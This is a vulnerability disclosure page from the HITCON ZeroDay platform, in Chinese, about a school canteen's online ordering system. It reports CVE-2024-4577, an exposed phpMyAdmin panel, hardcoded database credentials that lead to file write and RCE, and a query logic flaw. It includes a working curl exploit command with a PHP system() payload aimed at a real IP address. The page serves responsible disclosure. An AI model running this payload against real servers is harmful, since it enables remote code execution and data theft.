Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00121
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 新興福利社 線上點餐系統 CVE-2024-4577,phpmyadmin可外網連線,資料庫權限過大可任意讀寫檔案導致RCE,邏輯漏洞
- Introduction: CVE-2024-4577,phpmyadmin可外網連線,資料庫權限過大可任意讀寫檔案導致RCE,邏輯漏洞
處理狀態
目前狀態
公開
Last Update : 2025/02/20
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/02/03 11:07:16 : 新提交 (由 {{萌新}} 更新此狀態)
- 2025/02/03 14:36:45 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/06 17:19:40 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/06 17:19:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/06 17:19:40 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/10 16:13:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/12 10:01:48 : 已修補 (由 組織帳號 更新此狀態)
- 2025/02/20 03:01:15 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00121
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://203.68.249.104/
http://203.68.249.104/phpmyadmin/
http://203.68.249.104/www/sin_shih_dai/WWW/index.html
http://203.68.249.104/phpmyadmin/
http://203.68.249.104/www/sin_shih_dai/WWW/index.html
敘述
CVE-2024-4577:
curl.exe -k -o - "http://203.68.249.104/php-cgi/php-cgi.exe?%ADd+disable_functions%3d%26+%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" --data "<?php system('whoami & dir'); die(); ?>"
由於資料庫帳密硬編碼在網站源碼中,獲得帳密後嘗試登入phpmyadmin,發現資料庫權限過大,可任意讀寫檔案。
網站SQL查詢雖啟用PDO,但有邏輯漏洞,比如若輸入1=1會將所有訂單報出來,其他查詢同理。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。